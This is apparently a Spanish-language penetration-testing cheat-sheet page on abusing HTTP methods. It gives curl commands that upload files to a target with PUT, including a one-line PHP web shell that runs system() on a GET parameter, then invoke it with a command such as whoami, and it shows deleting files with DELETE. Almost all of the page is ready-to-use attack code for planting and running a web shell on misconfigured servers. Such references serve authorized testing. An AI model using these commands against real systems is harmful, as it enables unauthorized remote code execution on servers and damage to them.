> For the complete documentation index, see [llms.txt](https://web.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://web.mrw0l05zyn.cl/explotacion/http-methods-verbs.md).

# HTTP methods (verbs)

## PUT

### Archivo de texto

{% code title="test.txt" %}

```
Contenido de archivo text.txt 
```

{% endcode %}

```shell
# Subida de archivo
curl -X PUT -d @test.txt http://<target>/test.txt -v
# Lectura de archivo
curl http://<target>/test.txt
```

### Web shell (PHP)

{% code title="webshell.php" %}

```php
<?php echo system($_GET["cmd"]); ?>
```

{% endcode %}

```shell
# Subida de archivo
curl -X PUT -d @webshell.php http://<target>/webshell.php -v
# Ejecutar webshell
curl http://<target>/webshell.php?cmd=whoami
```

## DELETE

```shell
curl -X DELETE http://<target>/test.txt -v
```
